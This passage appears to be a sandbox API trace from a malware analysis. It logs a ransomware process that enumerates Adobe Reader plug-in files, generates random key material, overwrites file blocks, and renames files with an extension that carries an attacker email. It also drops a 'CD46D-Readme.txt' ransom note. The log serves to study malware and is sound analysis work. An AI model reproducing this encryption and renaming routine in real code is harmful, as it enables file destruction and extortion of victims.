ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4405e0 [0058.126] wcscmp (_String1=".", _String2=".") returned 0 [0058.126] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.126] wcscmp (_String1="..", _String2=".") returned 1 [0058.126] wcscmp (_String1="..", _String2="..") returned 0 [0058.126] FindNextFileW (in: hFindFile=0x4405e0, lpFindFileData=0x12e04af0 | out: lpFindFileData=0x12e04af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0058.126] wcscmp (_String1="adobepdf.xdc", _String2=".") returned 1 [0058.127] wcscmp (_String1="adobepdf.xdc", _String2="..") returned 1 [0058.127] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43eed8 [0058.127] wcscpy (in: _Dest=0x43eed8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm" [0058.127] wcscat (in: _Dest=0x43eed8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\" [0058.127] wcscat (in: _Dest=0x43eed8, _Source="adobepdf.xdc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\adobepdf.xdc" Thread: id = 909 os_tid = 0x1210 [0051.955] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api")) returned 0x20 [0058.127] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api", dwFileAttributes=0x20) returned 1 [0058.128] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea8 [0058.128] GetFileSizeEx (in: hFile=0xea8, lpFileSize=0x171ffa4c | out: lpFileSize=0x171ffa4c*=11438691) returned 1 [0058.128] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0xae8a5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.128] ReadFile (in: hFile=0xea8, lpBuffer=0x171ff9d0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x171ff9cc, lpOverlapped=0x0 | out: lpBuffer=0x171ff9d0*, lpNumberOfBytesRead=0x171ff9cc*=0x4, lpOverlapped=0x0) returned 1 [0058.157] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295e8 [0058.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429638 [0058.157] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.157] NtQuerySystemTime (in: CurrentTime=0x171ff9ac | out: CurrentTime=0x171ff9ac*=132174898221336000) returned 0x0 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x756685fa [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x43c81047 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x337a8779 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x5d549f90 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x501b4551 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x35a3058b [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x2a48ef5 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x4b4ceef0 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x18b156c9 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x12381888 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x5a4cda83 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x592dafa1 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x334a182d [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x4823f41f [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x61c70f12 [0058.157] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x5f449340 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x55b9cab6 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x6b814f27 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x27a88d2a [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x3e19d4cc [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x1f31f721 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x3d2e775e [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x7c081111 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x4fda5a90 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x2dc51d17 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x12f347bb [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x5e434d23 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x1d1594e6 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x1f19f728 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x4d2da536 [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x5f5f480b [0058.158] RtlRandomEx (in: Seed=0x171ff9b8 | out: Seed=0x171ff9b8) returned 0x7f24932c [0058.173] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.173] ReadFile (in: hFile=0xea8, lpBuffer=0x1950e870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x171ff964, lpOverlapped=0x0 | out: lpBuffer=0x1950e870*, lpNumberOfBytesRead=0x171ff964*=0xc800, lpOverlapped=0x0) returned 1 [0058.176] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0058.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0058.176] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295e8 [0058.176] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4295e8) returned 1 [0058.177] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1951b078 [0058.182] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295e8 [0058.182] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.182] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0058.182] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0058.182] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0058.182] WriteFile (in: hFile=0xea8, lpBuffer=0x1951b078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x171ff964, lpOverlapped=0x0 | out: lpBuffer=0x1951b078*, lpNumberOfBytesWritten=0x171ff964*=0xc800, lpOverlapped=0x0) returned 1 [0059.289] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1951b078) returned 1 [0059.289] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x578000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.289] ReadFile (in: hFile=0xea8, lpBuffer=0x1950e870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x171ff964, lpOverlapped=0x0 | out: lpBuffer=0x1950e870*, lpNumberOfBytesRead=0x171ff964*=0xc800, lpOverlapped=0x0) returned 1 [0059.291] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x578000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bf70 [0059.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b1e0 [0059.291] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf230 [0059.292] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf230) returned 1 [0059.292] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1951b078 [0059.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf230 [0059.293] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf258 [0059.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf258) returned 1 [0059.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0059.293] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf70) returned 1 [0059.293] WriteFile (in: hFile=0xea8, lpBuffer=0x1951b078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x171ff964, lpOverlapped=0x0 | out: lpBuffer=0x1951b078*, lpNumberOfBytesWritten=0x171ff964*=0xc800, lpOverlapped=0x0) returned 1 [0062.357] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1951b078) returned 1 [0062.357] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0xadc263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.357] ReadFile (in: hFile=0xea8, lpBuffer=0x1950e870, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x171ff964, lpOverlapped=0x0 | out: lpBuffer=0x1950e870*, lpNumberOfBytesRead=0x171ff964*=0xc800, lpOverlapped=0x0) returned 1 [0062.358] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0xadc263, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.358] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x402ba0 [0062.358] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x4377d8 [0062.358] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e68 [0062.358] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8e68) returned 1 [0062.359] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1951b078 [0062.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8e68 [0062.360] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8dc8 [0062.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8dc8) returned 1 [0062.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4377d8) returned 1 [0062.360] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402ba0) returned 1 [0062.360] WriteFile (in: hFile=0xea8, lpBuffer=0x1951b078*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x171ff964, lpOverlapped=0x0 | out: lpBuffer=0x1951b078*, lpNumberOfBytesWritten=0x171ff964*=0xc800, lpOverlapped=0x0) returned 1 [0066.248] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1951b078) returned 1 [0066.256] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d118 [0066.256] SetFilePointerEx (in: hFile=0xea8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.256] WriteFile (hFile=0xea8, lpBuffer=0x1989e888, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x171ffa0c, lpOverlapped=0x0) Thread: id = 910 os_tid = 0x1214 [0051.956] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc")) returned 0x20 [0058.129] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc", dwFileAttributes=0x20) returned 1 [0058.130] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acrosign.prc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xea4 [0058.130] GetFileSizeEx (in: hFile=0xea4, lpFileSize=0x1724fac0 | out: lpFileSize=0x1724fac0*=8574) returned 1 [0058.130] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x217a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.130] ReadFile (in: hFile=0xea4, lpBuffer=0x1724fa44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1724fa40, lpOverlapped=0x0 | out: lpBuffer=0x1724fa44*, lpNumberOfBytesRead=0x1724fa40*=0x4, lpOverlapped=0x0) returned 1 [0058.132] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428de8 [0058.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ed8 [0058.132] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4295e8 [0058.132] NtQuerySystemTime (in: CurrentTime=0x1724fa20 | out: CurrentTime=0x1724fa20*=132174898221180000) returned 0x0 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0xc759673 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x32bb9b1f [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x74a5f566 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x502c9eef [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0xd82e9cc [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x42afe973 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x7beea429 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x2b73dbf5 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x3beedabc [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x3374f0ed [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x3d052a58 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x1f1e805e [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x1fbb6bac [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x6af8d56d [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x78637bd6 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x2000f072 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x4501e6d [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x66e6a9bf [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x1b412799 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x67ce86ae [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x362612ca [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x1a52cc06 [0058.132] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x33f57b2d [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x1b0bda0b [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x710f5b85 [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x49c59894 [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x4071da9e [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x171a37aa [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x3ac9a665 [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x35644e6e [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x6a9a0d49 [0058.133] RtlRandomEx (in: Seed=0x1724fa2c | out: Seed=0x1724fa2c) returned 0x4a792cab [0058.145] ReadFile (in: hFile=0xea4, lpBuffer=0x194e9058, nNumberOfBytesToRead=0x217e, lpNumberOfBytesRead=0x1724fa1c, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesRead=0x1724fa1c*=0x217e, lpOverlapped=0x0) returned 1 [0058.156] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.156] WriteFile (in: hFile=0xea4, lpBuffer=0x194f5860*, nNumberOfBytesToWrite=0x217e, lpNumberOfBytesWritten=0x1724fa18, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesWritten=0x1724fa18*=0x217e, lpOverlapped=0x0) returned 1 [0058.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428a28 [0058.465] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428dc0 [0058.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428dc0) returned 1 [0058.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0058.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0058.465] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437670) returned 1 [0058.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0058.466] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97cecc0 [0058.466] SetFilePointerEx (in: hFile=0xea4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.466] WriteFile (in: hFile=0xea4, lpBuffer=0x12d7c2d8*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x1724fa80, lpOverlapped=0x0 | out: lpBuffer=0x12d7c2d8*, lpNumberOfBytesWritten=0x1724fa80*=0x109, lpOverlapped=0x0) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c2d8) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecf0) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428dc0) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecc0) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428a28) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ed8) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4294d0) returned 1 [0058.496] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4296b0) returned 1 [0058.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4620 [0058.496] wcscpy (in: _Dest=0x4d4620, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc" [0058.496] wcscat (in: _Dest=0x4d4620, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc.mailto[2Hamlampampom@cock.li].cd46d" [0058.496] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1724fa38, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroSign.prc.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0058.496] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de0f8 [0058.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de0f8) returned 1 [0058.519] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e1e3d8) returned 1 [0058.519] NtQueryInformationFile (in: FileHandle=0xea4, IoStatusBlock=0x1724fa44, FileInformation=0x1724fa1c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1724fa44, FileInformation=0x1724fa1c) returned 0x0 [0058.519] NtSetInformationFile (FileHandle=0xea4, IoStatusBlock=0x1724fa44, FileInformation=0x1724fa1c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0058.520] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0058.520] FlushFileBuffers (hFile=0xea4) returned 1 [0062.193] CloseHandle (hObject=0xea4) returned 1 [0062.631] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec55e8 [0062.631] wcscpy (in: _Dest=0x5ec55e8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0062.631] wcscat (in: _Dest=0x5ec55e8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt" [0062.631] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\cd46d-readme.txt")) returned 0xffffffff [0062.631] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0063.465] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x1724fa40, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x1724fa40*=0x6fd, lpOverlapped=0x0) returned 1 [0063.466] CloseHandle (hObject=0x650) returned 1 [0063.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec55e8) returned 1 [0063.466] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x439ce0) returned 1 Thread: id = 911 os_tid = 0x1218 [0051.956] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc430 [0051.956] wcscpy (in: _Dest=0x97cc430, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations" [0051.956] wcscat (in: _Dest=0x97cc430, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\" [0051.956] wcscat (in: 